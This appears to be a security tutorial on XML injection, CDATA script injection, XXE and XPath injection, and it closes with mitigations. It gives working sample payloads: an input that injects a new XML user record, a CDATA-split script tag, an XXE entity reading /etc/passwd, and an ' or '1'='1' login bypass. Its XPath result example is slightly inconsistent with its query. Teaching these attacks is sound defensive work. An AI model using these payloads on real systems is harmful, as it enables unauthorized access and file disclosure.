Injections

XML Injection & XPATH Injection

Introduction

- XML Injection is an attack generally done to compromise the logic of an XML application.
- XML injection could be used to insert malicious content into the resulting document.

Attacks Vectors

- XML Injections are possible at these different vectors of XML:
  - In Sections of the CDATA.
  - In the attributes of the Nodes.
  - In the Node Values.

Example

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <users>
 <user>
<uname>Alice</uname>
<pwd>pssd111</pwd>
<uid>01<uid/>
<mail>alice@site.com</mail>
</user>
<user>
<uname>Bob</uname>
<pwd>pssd4rw</pwd>
<uid>02<uid/>
<mail>bob@site.com</mail>
</user>
</users>
```

Attacking

- If an malicious user/ attacker would want to add a new entry to the current XML Document, then:

```
Username: Bob
Password: pssd4rw
E-mail: bob@site.com</mail></user><user><uname>Evil
</uname><pwd>psswd111</pwd><uid>03</uid>
<mail>evil@evil.net</mail>
```

Resulting XML Document

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <users>
 <user>
<uname>Alice</uname>
<pwd>pssd111</pwd>
<uid>01<uid/>
<mail>alice@site.com</mail>
</user>
<user>
<uname>Bob</uname>
<pwd>pssd4rw</pwd>
<uid>02<uid/>
<mail>bob@site.com</mail>
</user>
<user>
<uname>Bob</uname>
<pwd>pssd4rw</pwd>
<uid>500</uid>
<mail>bob@site.com</mail></user><user><uname>Evil</uname><pwd>psswd111</pwd><uid>03</uid>
 <mail>evil@evil.net</mail>
</user>
</users>
```

XML Injection using CDATA

CDATA section:

- CDATA sections are generally used to escape the blocks of text that contain characters which are recognized as markup.
- Hence, characters enclosed in a CDATA section are not parsed by an XML parser.

Example

```
<node>
<![CDATA[<hello>]]>
</node>
```

Note: Here <hello> is considered as Character Data and not parsed as Markup

Attacking

```
<html>
$Code
</html>
```

Attacker's Input:

```
$Code = <![CDATA[<]]>script<![CDATA[>]]>alert('Hacked')<![CDATA[<]]>
/script<![CDATA[>]]>
```

During Processing:

```
<script>alert('Hacked')</script>
```

XXE: External Entity Attacks

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE hello [
   <!ELEMENT hello ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><node>&xxe;</node>
```

XPATH Injection

- XPath is a language which has been designed to operate on data described with XML.
- The XPath injection generally allows the attackers to inject XPath elements in the queries.
- Majorly used to bypass authentication or access information in an unauthorized manner.

Example

```
<?xml version="1.0" encoding="utf-8"?>
<Users>
  <User ID="1">
    <FirstName>Bob</FirstName>
    <LastName>BlackJack</LastName>
    <UserName>bob_b</UserName>
    <Password>passwd111</Password>
    <Type>Admin</Type>
 </User>
      .
      .
      .
</Users>
```

The XPATH Code

```
"//User[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"
```

Attacker's Input:

```
Username: ' or '1'='1'
Password: randomtext
```

Result:

```
//Employee[UserName/text()='' or '1'='1'
And Password/text()=‘randomtext']
```

Mitigations

- Input Validation and Input Sanitization should be implemented before the input data reaches the main program code.
- Disabling the resolution of custom entities in XML to local files and remote HTTP requests by using libxml_disable_entity_loader(true) .
- In addition to the existing input validation ,implementing a more sophisticated approach that escapes/encodes characters that can be interpreted as xml is a better option.